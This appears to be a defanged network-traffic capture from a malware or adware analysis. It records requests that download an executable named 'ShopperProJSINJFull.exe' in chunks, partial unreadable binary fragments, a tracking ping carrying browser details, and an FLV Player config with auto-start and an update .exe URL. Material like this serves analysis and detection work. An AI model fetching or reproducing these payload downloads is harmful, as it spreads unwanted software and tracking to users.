Content-Encoding: gzip
b27.............Zmo.8..^....t....l.i.......]........Z.m%...d..6.}g."Q.
e...6..H"9......L.x.......MV.:...o.b4.....kVR..h^.r.m.....>.o......
M..y....|...3Z...y$.i.R.x.z.s.....]L}.[J...t.f.6f.......G.j..m...x.F .
<.JR....}zM?.../.F....|-..I</..?6,......D=..q:..<.G....J.7.8.
.nx.O.M.|!..7k..p..%..TC...2.B....C.N-).c..`.%.T..tK.\O.....g....{.t..
.1.t........../6iX.<..~V......i\..r........I.f..;.....>........K
~5/S..&qx..W,.y..<g.r..o...5.,....{[email protected].....\a..../..=...#Ff32.
...e..% _'...b...{[email protected]...%.BW...>..=.`(....>6.\...\
.:..0.%.VZ......9.o..Z.4.......l....<I.mY^}ta..`.-.C.>...oJ.8..D
....._...tH.2.{.-.......>`.....t.0....z.M.......J..L......Mp.v..p..
]...bS.<})C .bA#..f..<_..{H...].......{.&RJO.\.......T..q.......
.qz.Z...:.40..].D$.5Wl4....3.]tj......o...m(..]x6iS...."....]..4p..v.^
.>...a.e.7i4.x.c......g....b....M.....-y.... ,l.@....>..k......g
-.u...,.NM.,hQ*.......&..ZtxO.F.5..Nj.`........L.l.;A*..;9i..h.5...t..
.......".....n.3q.d..{.dE.".D..'[email protected]..:..!.?.....@.;..o.3.t.
.-..iz..8.2..1...4'Pba.............X.*...*.^[email protected].....<%..........
...6ED... .....J...m...g.....Q....2.4..^.........@E.. ..H#..!...vk.l..
. ^...a5lo...J.0.......P..b......V.n.{..0.8.U.._9...(.zz...`.......FO.
R...............H....D.....kO..1A.D*:....<.9.E/.....eO.....HM}..AWl
f.......P.ZB....c..1T.........'....!..#R..<o.r...=c.."....I"....5*.
..Ma.%....M..{zU........wJr.1Z.>..4...&.zi....2N..[....F........j..
.!.....j..R>..Z.............|......(......`..Y....$.d5...%.....<<< skipped >>>

GET /ShopperProJSINJFull.exe HTTP/1.1

Range: bytes=0-249999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: v08oo0uy6-su78sj1t.netdna-ssl.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Tue, 10 Feb 2015 03:59:08 GMT

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

x-amz-id-2: 5tMBOA0RYDYDK0AObJ4QPBAi707VeGd0CnkFmFvy7VrSaxLcK2CiZ4Y11rBTKG4k69qKO6S5XL0=

x-amz-request-id: BF1E2D230EB39A43

Last-Modified: Mon, 09 Feb 2015 18:18:52 GMT

ETag: "660d87011f2ace9dbeacd26d884f6641"

Server: NetDNA-cache/2.2

X-Cache: HIT

Content-Range: bytes 0-249999/4702150
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1p.:u..iu..i
u..i...iw..iu..i...i...id..i!2.i...i...it..iRichu..i........PE..L.....
oS.................\...........2.......p....@.........................
.................................................s....................
...................................................................p..
.............................text....[.......\.................. ..`.r
data.......p.......`..............@[email protected]..........
[email protected][email protected]
..............@..@....................................................
......................................................................
......................................................................
......................................................................
......................................................................
............................................U....\.}..t .}.F.E.u..H...
[email protected]@..e...E..E.P.u....r@
..}[email protected]... M.......M....3.....FQ.....NU..M.....
.....VT..U.....FP..E...............E.P.M...Tp@[email protected]
....E..9}[email protected].}.j.W.E......E.......@[email protected]..
[email protected]<[email protected] [email protected]...\r@._
^3.[.....L$...7B...Si.....VW.T.....tO.q.3.;5.7B.sB..i......D.......t.G
.....t...O..t .....u...3....3...F.....;5.7B.r._^[...U..QQ.U.SV..i.<<< skipped >>>

GET /ShopperProJSINJFull.exe HTTP/1.1

Range: bytes=500000-749999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: v08oo0uy6-su78sj1t.netdna-ssl.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Tue, 10 Feb 2015 03:59:08 GMT

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

x-amz-id-2: 5tMBOA0RYDYDK0AObJ4QPBAi707VeGd0CnkFmFvy7VrSaxLcK2CiZ4Y11rBTKG4k69qKO6S5XL0=

x-amz-request-id: BF1E2D230EB39A43

Last-Modified: Mon, 09 Feb 2015 18:18:52 GMT

ETag: "660d87011f2ace9dbeacd26d884f6641"

Server: NetDNA-cache/2.2

X-Cache: HIT

Content-Range: bytes 500000-749999/4702150
....'6......Vl...D.`.]...........%o.../f.N._H ET0ui..f.x....qP...7..a.
..ZM.e..t.QZ9bP.`{[email protected]...$..[...we......j,.X...\. ..*.....r./..
GDzQ..`Sw...u.....V$.7..S8B.....^.<9..|d..d.......h^......e:r#.T.I.
...?../.l.!.$>.M....=.A.4.u.,',D...u..2.dR...b.HPz........A2...G.3.
1.o.@[email protected]_.X$...l..I.a.g......XVxH.,.`RI..#v.....g
...]......W...I..5.......lQ{f{B....8.....G.W.|aK..*...C. {.e..."W....c
t.21....K.....T..W......"=.p.".....H.1.#.I...F.^.......^}G%.PL.X......
.....!i0..&._...^.|.j.B..{...r.[.....:....../...._b\.&..\..gaIC.|.?...
[..w..e../.;..H."I.. ...^..l.N.w>W..Q.-.....lG'....M..&....n.. .tD.
...J>.l....z4.4..P..Zi.v.........@.._HE.....EF..,...>.....c..@.=
L..P.<...-..4.|7Zw.`...;-rS.........k....B..~..7w>>..4./.5.PO
....&.rI..?...t....;.;..AcS............ .....$...._!uD_..;.A.p..{.C.-B
z.G6KaiO}..V..a..?{.....8!.O...Re.W...9.K..z..........D&m.g.D.K..n..|D
:.....P....$....3......s.K.c4l.k.m.BG..j.....m.n.n.s ....ej.u...i.M...
...BUvk.....Q..._..C.\#.....S..{@v.l$.9.@<.Z..<L02.yn%....V...}$
..H...}..... ..g......CF.Ld..M{f../b.h..s.7!_.-......1*).8......3.....
L..N.:[v #hc.s-..[...00...&.'[email protected].
.b<6..)....$K..XD~..3.N.E .\......[J.....Xf....[r^..o...T..I..Q...&
u.r..........P...i>..WF?...U...%....k.v..U.:..#...h.Q....k1. ...@R.
........G.IacC"....P=.F<....o.".c.=c.ybN...l..CDp9...#......B.,....
...!..!....o..~..-.{.JT....Jg...$..|_..n.....m../D.........l.n..}a..g.
=..D?..Y..X...w/q.K./t.t41..g.....F..Z..."[email protected].%.xf..<<< skipped >>>

GET /ShopperProJSINJFull.exe HTTP/1.1

Range: bytes=1000000-1249999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: v08oo0uy6-su78sj1t.netdna-ssl.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Tue, 10 Feb 2015 03:59:09 GMT

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

x-amz-id-2: 5tMBOA0RYDYDK0AObJ4QPBAi707VeGd0CnkFmFvy7VrSaxLcK2CiZ4Y11rBTKG4k69qKO6S5XL0=

x-amz-request-id: BF1E2D230EB39A43

Last-Modified: Mon, 09 Feb 2015 18:18:52 GMT

ETag: "660d87011f2ace9dbeacd26d884f6641"

Server: NetDNA-cache/2.2

X-Cache: HIT

Content-Range: bytes 1000000-1249999/4702150
[email protected]@..!P..'.....\A.k.Z....H&..9...9.x.Rg.fsb.....J.....E..
s.l:.v......V.d...Zc.n.5.c...OX......LR..B...|57..0....iLZ...~.H.7....
3D3X..o.:......... ..d.M>...l[...o:....F.....NR....RM".....<.v..
...h.l...IU....2.r\..`xj...P~z.C....N......".A.R.k..l..........vU.U...
....H~.z..{Q..l..7s..}V..k. ........*l.V$q..G... b.7V.a..U.I...Wa...E.
..d.3cLD9|... .7.3.B............S=.../.C....D)o...9.y...TF...5f...7...
....~...Z?..2.....0..;....3_._.3..{Q..W .h.M.a.........Y%}NB..3...K..6
U.t.q...m........PN....._h,.2v...a..M~..B....y:...\.P.b.>....1':*v2
..g..B... d*e..8..g.....I.}..n.Y&:..u)G.t...O..\5V.....<*.y.....H|.
.{..K..._...^'.7..AKE..5;.....K.....MD6.......~ .[fYLhm.....Y.........
l!#T....G.y..f.B.VrG.d<..p|..N"...H].[..X..3S"*."..(.........?gj.7n
*.J...)....2...#R.O...W...y[..t.R8XIx.~/."...*..#.\.6..#.~..Ad...CV..&
.N.j08.q..j`#H....v....%..kJ...mN.`..zl...CV......F.V.LaQ....<.xR.7
^4\..40.v.}..f...*.b.(.......Z..TI........5^.'[email protected]}[email protected]
N....l.T.8...]......_.6.$W.v.....Y...../.....A.3..qo.<io.%#q$@.....
...gyD............. ..M.`...Ev~^.#.....w.;......Cvr/...-.....%.?....#.
.K....,...4....!._lX ..<....<(.u.....n`....4.C..O...~.....>.|
..6'Y...yo..'..4.........HLm..P_....^.Kb..16td L...N-.gYq...R.=..x....
.:.e...B.\Vx......9Tx1=..j...C/.......{..n...X3..d...<..I|3.3...'..
........l2..TU...!]H>..[.<.CARH..r.l...I/.7.q...};oq..pKF).....o
.UW..V.G.wr.....y......6.|5.].O..}h).\...<X8C_6....._.Yk..T..:.Z2..
..KI: U.FU...q.YOD/..........Gf.*.VC...Z...7R.Z..,-...e..k.j..3/..<<< skipped >>>

GET /ShopperProJSINJFull.exe HTTP/1.1

Range: bytes=1500000-1749999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: v08oo0uy6-su78sj1t.netdna-ssl.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Tue, 10 Feb 2015 03:59:09 GMT

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

x-amz-id-2: 5tMBOA0RYDYDK0AObJ4QPBAi707VeGd0CnkFmFvy7VrSaxLcK2CiZ4Y11rBTKG4k69qKO6S5XL0=

x-amz-request-id: BF1E2D230EB39A43

Last-Modified: Mon, 09 Feb 2015 18:18:52 GMT

ETag: "660d87011f2ace9dbeacd26d884f6641"

Server: NetDNA-cache/2.2

X-Cache: HIT

Content-Range: bytes 1500000-1749999/4702150
]|....H.......#..<......Z".d.5..e..K.h...b(-...]..{.(..@.$!^J`.[Yx.
.w..D.../..8..K(.....3H.0sl..........z...........59`dE.q.....n..4%.`..
.@O..;.i...P...R..O.L...Z...n..U..K.5wBn......:...k.U.G..5...dt.......
.wcm.Q.../.......b.)....U.....v_..../..{.(v.W.&..:,.w....f.fB..]..o...
...X5....xp.Pm..I1.U-...QD.|.....)....wk.|V.Bh.....Xp)...d....v.......
4..>.Y.....&.v....d^x.....d..q..x-#...vM.....8/9.....e}..r.....Q.F.
'.8.V......>....C..5I....>.V.....r..mC..q....5..{,W_..Z)2....4_a
......c..U..E..Cv..E.h.~..W ..=... ...#..P........$h!.. ek.u...C.`v...
o...P..MT....2.....t.9...2J.s..M.f..0*..C....r.x3....U~l...o.f.. .....
...Z....[....I.....0..../.".t..'.....y.b...&..m.?.b../.............vQ.
c. ...96...G..?`...&x. T["xJi.".JLW.iF.)...R........"..)8.9..M........
[email protected]'.....vH...u.)%(...o.E.!0k........|cT.."..6S..|i.AH.
J.*...I..t....g......z~..9.mm...(....U.oG.>...:V.c..E..Q.....g/....
.[.*x..P..n..j...=__W..v.....N......1...w..r........b.<..\....iy...
5.:\..^.{. {R..C?.!.p....[...X..._i.M....._(.U./.%)...F.....y97.aCLi. 
x...|._.;..I..s.?x.t...9.......J.T.".ei....7..(m....%....I.tJh.;}..m..
d..,....*T.V...H.\{6.."...7q...&..V.[v.k.Z....0._"..p.....$..y.....1..
....J.....v......a.....dC..V3.....2..&............2.m. ..y....f..c.~:.
..{.F.....V.b.n.-DP3..F....'s&U....t..CMp.....yr...[.........N...oF...
I.p..?.1..z.....<....|.4_....4...z.0KT....lg)?_....O....g....-.....
.G.B,...dQ..........Qd9..0........q'.t...|E@`:....*.....M.2..10D.EQD.S
.... C.)...........*.|z..L...lON.. .........\....=....P..f..6..P$.<<< skipped >>>

GET /ShopperProJSINJFull.exe HTTP/1.1

Range: bytes=2250000-2499999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: v08oo0uy6-su78sj1t.netdna-ssl.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Tue, 10 Feb 2015 03:59:09 GMT

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

x-amz-id-2: 5tMBOA0RYDYDK0AObJ4QPBAi707VeGd0CnkFmFvy7VrSaxLcK2CiZ4Y11rBTKG4k69qKO6S5XL0=

x-amz-request-id: BF1E2D230EB39A43

Last-Modified: Mon, 09 Feb 2015 18:18:52 GMT

ETag: "660d87011f2ace9dbeacd26d884f6641"

Server: NetDNA-cache/2.2

X-Cache: HIT

Content-Range: bytes 3250000-3499999/4702150
R..I.~.`Ql.|...o[`..L=.E9:...&...z.B.v...........i)-}8A....<^.n...n
..*....( #G....%p....v.;M...>.... ..r.Pi5..]...*.#...|`i...,L.....A
..a.v..2.8\..D)J.$...d.PId..~...w..(....nxI.....;'a. ......d..`.....g.
AfS....t...(...%.8|..5...c.....b.O...t8.Z-.$...38.`[email protected].)7*
...$l.)..&c(.Qj....u..\.A.].).........z.=5..7.......A.S A.#.2....o.Rn.
....`W.&^...]........F..O%R..Q.'..7.>F....M.......K9T.....S~0..*...
.`Kw2.#`...HC..lu..a.4.Uo$...z.}..1.J...G,.QY.^.cE...S.@<.g.1..^6.`
E35....f*..c.B....].......E..?>....D..[bMHU..(....."...V......lZD.;
P.1/...'.y..5x.C...!......L.A.\o.,86Gd.k}..C..Y.>.k'..........eV8u.
I....*4..G...;......t.Cm0..1...'...<.....`..N..h..m. ..5....i...|}@
.....9..6..............k.0....d\ .......#.J........M..h<...-.k.Y..v
.|h8 qjz.......=......._..!....f/~..C.y....M.0.q.)....o;..=s....ey_...
g<.J...x...5.=^[email protected].....:.............g....Te.u...o.....^.!b.F
.`"...3..h.~.IC~..xJ&[;.......a&..K..X......*...........&2......<..
.e. ...W....nq.XU.../....Y......u.O......&.gT.. .<.1.K.X.sS.!"...M.
.W...0....5.W.8xE7{x......e...y....X..[>....^....=K.M7."E.'gdw.)...
...}.P.F..,d.*..ls.....E.;S\L8.s}?.)p.#.x7...K.&....M..k....@..,Y...-.
J.M9G.XsEh.A*..'_<...kMHz..s&.n...P..X.;~..e6~/J......l.....I.e..8.
...h}_.<.\`6.v4.X...(..I.......&...j.....3..?)..a.FN%m....UDzK...(H
........-c.....G.T.3zZ.%U|..|..y.N.;3..x.l..K.d..g?...g...f.d!.E..5.P.
.eL*...E-`...C..H3..{[email protected].."<'........S..Ct..
.n..*.I..K.]....L..._..b..*.....}.......4..p9.. ..R.=.x..s?.G.....<<< skipped >>>

GET /ShopperProJSINJFull.exe HTTP/1.1

Range: bytes=250000-499999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: v08oo0uy6-su78sj1t.netdna-ssl.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Tue, 10 Feb 2015 03:59:08 GMT

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

x-amz-id-2: 5tMBOA0RYDYDK0AObJ4QPBAi707VeGd0CnkFmFvy7VrSaxLcK2CiZ4Y11rBTKG4k69qKO6S5XL0=

x-amz-request-id: BF1E2D230EB39A43

Last-Modified: Mon, 09 Feb 2015 18:18:52 GMT

ETag: "660d87011f2ace9dbeacd26d884f6641"

Server: NetDNA-cache/2.2

X-Cache: HIT

Content-Range: bytes 250000-499999/4702150
M..D..3.........,.Y..g..../...r0..n2....=.......\..-.W..?..........[5.
. ..<......Sf.w...`Q..`....z.4,.. ..b.'\...t..i...}cNZ.....I.3#....
.H.<".O....9[..........5.....!.I...v..Y*................@"WN..'.i.a
...t>.7..y..N.'{. &.R...O...........;...8.-n.K$.{ie.?C....=........
\T....1...^..X....)...;....a.m.9.^[email protected].)...o.|....
c..K?.p.%.....B.x].y.....<..'ra........[} Z......(....|...>..~..
....i&......Z.'..g-.....?....}|.....m..Z.?J. .)..k.7#.%.}..'._.d./..d.
.E2..\..v..j#.#........q.BtQ.S<A..gb5O.3oP.8Z.8........|.E....X..0.
"...Q....'I..%.f...u...A.aM..9....y.Xi.Kh.a..$(5l..|......d.1T/8.D..#.
%.....)...q.3.v.....8......u.R=...aBp.j/..`.|..NL.....t./.!.....zu6...
c.........v.z.m.."[email protected]:p~<.~.5c..2``.)..,J..Kk....a....c<
..jc.h]....>..1.=..#.E........._$.(H.Bg.$i5<c.LF.`.....1..48@...
...[......1.}X=3......f....r..y...J...6v.V..C.....s...,rO8&....?.J.R.E
..Z#{............8..9...N~..~.4........$...|.\..<[email protected]=B?...
.....Op_!.....R...F.T...V...Y...^!.....A...J,Spt%..q.`.d"(E.........B.
.......!!...t.U..)[email protected]>W..g ....K... ...%..~D...M^...e
%f...]......9.Z..s.?...$u.[[email protected]....([email protected] ...1x.....
..5.:$...fu...$..Z..Vn3..y.S.v.u.4.lI}....9...k)...."X...E.o.Y$.s..6x)
.Q..rN\#. ....2...L.E..J..s.E.CL...cd..CA.......$=...[........K...L."H
..oE)...K..K..1..p\...a.e..s.....n,...XI.1..C.. ?K@.?!.]......{.a...#o
.M...M.......~....z...&..E.%y%.U:..?.6.)[email protected](.w
.|.O.q...C."....,..1.U.l...S..\.Q...:....hG..D.s. S......#DH......<<< skipped >>>

GET /ShopperProJSINJFull.exe HTTP/1.1

Range: bytes=750000-999999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: v08oo0uy6-su78sj1t.netdna-ssl.com

Connection: Keep-Alive



8.:....<..~.....}.....X.......U\..A...shTa%.w.H....v....c.....%..z.
SH..nl.0\..(..N..;..p.Q....y..UBH}A..b..N. %[email protected].
.M9......K..!..@....?..T..%_.j...e@..|...e..a.Go..k..5....H.....a..<
;Qb4..`G.Y<.......`.l ..^.....Z...[. .....x}.y8.......I.7|.......l.
S.o.....A..Dk..:.<&....9.....6._..^..6.Y.=N...Xl.....967.>...kk 
c#..K8.......g~.X.P9[%A........Qdx.r%.....q(..F....U................7.
..&..'......D}........([l....o...N.ZM...).:..-..rC.....``7.....J_D1A..
.V....'.]....2^.X#.}....\ ..S...&8.n.x..5O....h.jn....??..cy...n.iZd..
.2!.)....=.-~..W...o1./W.G...s&..j..S...K..8l.....9.,z..L..2<j....}
.?J...C9.h&[.#..DX......-..2P^dtv.......}..C.T..&(3/.....<. ..|U...
..yJ.....C...@<.*3.x..k.h qW."..b.....<ehy.s....l...Oy4.vF!.....
...A..q.|..{.i...mn~<..].OVS.S...4.. ..2.Br<. ..=z4.....}....B..
..X.....S.4..T..F/.[- #^.*1....`...#ZTW-. .03.....;.O...7..k.;Oh]B..7.
..O..kx.......q;OX:......hg.2.....k,.D..>#.,.'.G..W.....i.....Qmd.D
..|....L....5E....M?v&.8Q.5Gt....!.FN,..7..".....=......p..-..B.Y... R
s...QG..!@.>n.4A.....Q/|.V9.2...............g......IG....].,....T..
p...bk...tfh...[.nl..!.]...q..>b...5...e....................Y.v./r.
......eZ.I......]......... .......f.....f'.u... .W.i....[ 2..!SX....U1
..... .?.?....... .............|.=......c2&L...q9......=S..,..>.@..
...pgDqr...T.......#...../u..1....w.....o7.u......g_D.h...;....>j.=
..I..P}..T..%.Q..dc.sv.2....MQ...{[email protected]{.Y\
I.....q[..f...7{.l..n...t.p.lJ..{4(..D.......8.....N._....gz.".O..<<< skipped >>>

GET /ShopperProJSINJFull.exe HTTP/1.1

Range: bytes=1250000-1499999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: v08oo0uy6-su78sj1t.netdna-ssl.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Tue, 10 Feb 2015 03:59:09 GMT

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

x-amz-id-2: 5tMBOA0RYDYDK0AObJ4QPBAi707VeGd0CnkFmFvy7VrSaxLcK2CiZ4Y11rBTKG4k69qKO6S5XL0=

x-amz-request-id: BF1E2D230EB39A43

Last-Modified: Mon, 09 Feb 2015 18:18:52 GMT

ETag: "660d87011f2ace9dbeacd26d884f6641"

Server: NetDNA-cache/2.2

X-Cache: HIT

Content-Range: bytes 2000000-2249999/4702150
2....Kva.....L..`._.Q7,.(.dZ.m.......Lk....ap../w}..t........M.l.....z
.....2..XV...,%`2.*.N....4Eu.....)..PAO...\.....)....]Nn(wyW...7Bt..2.
...hn...P<.Ld&.....$....6PY.w}.p..(..P6 .........P../.O..oD.. ..!.5
....d.v.Z.9.....HA.@\.......f.......8...L.Ww.x...Lu...q....W....I.r."]
.c..j5.... .......'uxs..i.....-._...,0o.G.(.L...Y..%..X4"......C(.....
..du....z%.....(....HCmJ.(d.veL...R.....q.v.Qq..n..Y.!)]v.]/.....o...r
.zB.....{.Ob...n#.7.$..k._.y.:(...~.T<.W.*...2.g..v{....5)p]..xz3..
.]........F...m.,\....{...0.D.t.>.!.....|.'J..w..G!..d..w....B, Pp.
..9...J5~.q.......s^k.Z:..6.4..e2>..-..E..&.1..^z/..?r.y.V{..O...]A
.W..bSV?....0K...b...l.8..^..y^K.. .C!.e..l. ..!......5P.,.}..n.3..{..
.,...b..ctc7S........r.5.wh..'....Y.dC.e.f\Z..CCN[.-k/.V._...7.D....".
..:..V...>I...*_.Hy]..G....I*...r'2........x..uC.Z..>..<5C...
p\x3.x.s.O......_...TmC.1...=.S!......F5.7....m?...... .....l.........
[email protected]:.*.... ?u...<.ok.Y...!.#6.......vF..1.d..L...g
..wzj4..1.^:@.N.Z...y..........W...2.q...e..$Cp.U.GF..et>...c..E...
.....tNlW..6....d......`M...X...h.r.IP..".'.W~,.Ns.....gk.......t(..e.
y.......KR...:.....Cq.e.=_.D...6.6KV.....aq...q..Y.c..Iu..[.j........|
s....;...C9w...(...../[email protected].\{....Ci.....&r...z.W."`..r...a.......8
RY.a..'H54...-...R...'...k8c.r-.~......._%....0.R....ba.8........-..r.
B.....2.~ei*Y..\....>#.*..D..Q..).P...4.kAH.tF.k...p.f$.....?..[j..
..m.J-._..6...X.RP`n}. s#.1c..T~].........Rx..(eB..R.y.N..*.6..y~6.].l
J=......[..2..CN....oy..).......WC..#2..........7#.~ZZ..n75p/.....<<< skipped >>>

GET /ShopperProJSINJFull.exe HTTP/1.1

Range: bytes=4500000-4702149

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: v08oo0uy6-su78sj1t.netdna-ssl.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Tue, 10 Feb 2015 03:59:09 GMT

Content-Type: application/octet-stream

Content-Length: 202150

Connection: keep-alive

x-amz-id-2: 5tMBOA0RYDYDK0AObJ4QPBAi707VeGd0CnkFmFvy7VrSaxLcK2CiZ4Y11rBTKG4k69qKO6S5XL0=

x-amz-request-id: BF1E2D230EB39A43

Last-Modified: Mon, 09 Feb 2015 18:18:52 GMT

ETag: "660d87011f2ace9dbeacd26d884f6641"

Server: NetDNA-cache/2.2

X-Cache: HIT

Content-Range: bytes 4500000-4702149/4702150
..D..].Xb..z0.7..k.q'...Du.$...w,..M..s&.J%#.R.h..W....7...}....L....f
.Y.;%....Ds.P6:.H.&..O.>\[email protected])x.q...`9..~8..1'....?....D.....].
.#..8KY2u.. s..qt-&F....B. .......j..E.Ay..;3l.I.;t..\5...?.2.W.l...'.
........c\.X!o...kH.V.....`.rh..8.\..<[email protected]_.|....s..=
[. n ..TZ...kO.S....Eh..y........~......gd.^[email protected]
RAY1..5V.)../N.5..qu?.)[email protected].(T4X.J....e.;.$[.f.
.7.....-....Iu...Y..&o...K.=....d.E5{.%...?.?.......aX...2...._F..&c.{
.k..A....j#M....;......TIf.....|.......D7..8....L..f);F.G..=.E2J..z^4O
a....wKC,.\..d.m# ....M..f...5...*...Ei..c.n...FB.o.# |..2-...B..q..&l
t; ..dM0#~d....%...Q..}.|..s......V..9n~.mEOy..e.%...|.x.gp.........p.
..(y.&.........u...t...v.........G.t.P. [.T....>p..h.;. .,y...3....
>.|.....#.......7#..,..)..K..qd..i#..R....(...!'...n(".m..i........
......E3.T....x...?...R~..s.on.B.....pth.M...Y..s.U...9..'....'[email protected]&
.L.Z.........P.....y.ji.....3..5..W j......}..$......q.........y......
..".S..qz...~?N....V...|..q<=..?..Lv...x..ses.._....=;..E..[v......
&K..Ky...d.Z=..#....5........J.b.w...H..(.K....j....D......^j"x.....a.
h......).......O7]..U.l......X..P..1.....X.o.......*.*...L../..-..CHOT
-.....;\H....]../<)@.......L.Q..4%.5S2......=.....BOL..R...7W%e ...
.}......q...pM.N(...!XD.....Y"H.<=.p...)...>.n.(..d.....k.G.....
.8*>5%jYK.........vpG.oN.]Z.[D.t.......>H..]..c.|7.;.eZ...A....w
...v/p.....j`....1.6...]..d<..e?r..YH......l..Fk.f....B.......w.d[d
...X...2..-......;....LG.....\S.4F.....S.. .ND..Y..1.Jx8..9....es.<<< skipped >>>

GET /app/ping.ashx?e=ZuS0/O3oV2poN0mNQrpltmZheUL K4kTJm eineCeW0E8XIWrh60PYXV1rPYBwrFqy2cd4qoQDl0oePvh0n93F2fKohH1AHQBCdBnO5fXI2a8JaR5GgG5zwB4kOBPtmLQX9U bk8PMny9WPdsZGiUJFxNVeQWwZG&product=EXTFirefox&rnd=1423540776&it=0&action=Init&text=Ext version: 1.0.0.1. Firefox version: 29.0.1. DB name: yta_database1_0_0.json. DB version: 1.0.0.1 HTTP/1.1

Host: rep.youtubeaccelerator.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0

Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Connection: keep-alive


HTTP/1.1 200 OK

Cache-Control: private

Content-Type: image/gif

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 10 Feb 2015 03:59:33 GMT

Content-Length: 0

HTTP/1.1 200 OK..Cache-Control: private..Content-Type: image/gif..Serv
er: Microsoft-IIS/7.5..X-AspNet-Version: 4.0.30319..X-Powered-By: ASP.
NET..Date: Tue, 10 Feb 2015 03:59:33 GMT..Content-Length: 0..

GET /webplayer/flvplayer/config.json HTTP/1.1

Accept: */*

If-Modified-Since: Sat, 1 Jan 2000 00:00:00 GMT

Cache-Control: max-age=0

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.bigspeedpro.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Server: nginx

Date: Tue, 10 Feb 2015 03:59:45 GMT

Content-Type: application/json

Content-Length: 905

Last-Modified: Mon, 10 Mar 2014 13:59:58 GMT

Connection: close

ETag: "531dc55e-389"

Accept-Ranges: bytes

{."group-name": "FLV Player",."program-name": "Play online FLV files",
."about-text": "FLV Player v1.1\n(c) 2012 Somoto Ltd. All rights reser
ved\n\nTerms and Conditions:\nhXXp://software.filesfrog.com/FLV Play
er/eula\n\nPrivacy Policy:\nhXXp://software.filesfrog.com/FLV Player
/pprivacy",."title-icon": "hXXp://VVV.bigspeedpro.com/webplayer/flvpla
yer/flvplayer.ico",."tray-icon": "hXXp://VVV.bigspeedpro.com/webplayer
/flvplayer/flvplayer.ico",."shortcut-icon": "hXXp://VVV.bigspeedpro.co
m/webplayer/flvplayer/32x32.ico",."uninstall": true,."url": "hXXp://ww
w.bigspeedpro.com/webplayer/flvplayer/html/flvplayer.html",."width": 8
54,."height": 542,."cache": 86400,."alwaysontop": false,."program-vers
ion": "1.1",."start-on-windows": true,."title": "FLV Player",."tooltip
": "FLV Player",."minimized": true,."update-url" : "hXXp://VVV.bigspee
dpro.com/mirror/nerocrossrider/flvplayer/flvplayer_update.exe".}...

GET /pagead/conversion.js HTTP/1.1

Accept: application/javascript, */*;q=0.8

Referer: hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,e5f8ccfa-064a-4525-b909-9b89e346b6d9,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=68&BundleID=NONE

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

Host: VVV.googleadservices.com

DNT: 1

Connection: Keep-Alive


HTTP/1.1 200 OK

P3P: policyref="hXXp://VVV.googleadservices.com/pagead/p3p.xml", CP="NOI DEV PSA PSD IVA IVD OTP OUR OTR IND OTC"

Content-Type: text/javascript; charset=UTF-8

ETag: 4876301562966458403

Date: Mon, 09 Feb 2015 18:48:02 GMT

Expires: Tue, 10 Feb 2015 18:48:02 GMT

X-Content-Type-Options: nosniff

Content-Disposition: attachment; filename="f.txt"

Content-Encoding: gzip

Server: cafe

Content-Length: 4019

X-XSS-Protection: 1; mode=block

Alternate-Protocol: 80:quic,p=0.02

Cache-Control: public, max-age=86400

Age: 33139
...........Z.r.......PS.1b(..3..aU..8g.;'q&g..u.$D2.H.II.-..v....g.j.\
..h4.@_....W...q...5O:s..A.....U........n.s.....d.1.B.x....4...l.....D
d.$".......Br..m.<.STc..Y.s.Y.5K..3...0.T`.4.|."[email protected]...&..\.-.V
.[$.(.d.".2..#.... ...V..2...T/(..Iv.!=..".v......(a.>..R..../.m..7
..I%.U)T.<..0.......:.$.....h...*..Jq.;y.a...)....p..w.........H...
.8.....u8}dD>O/7..|..)....l.X.....|..tW.TM...40.X6.......{..Q.1H3..
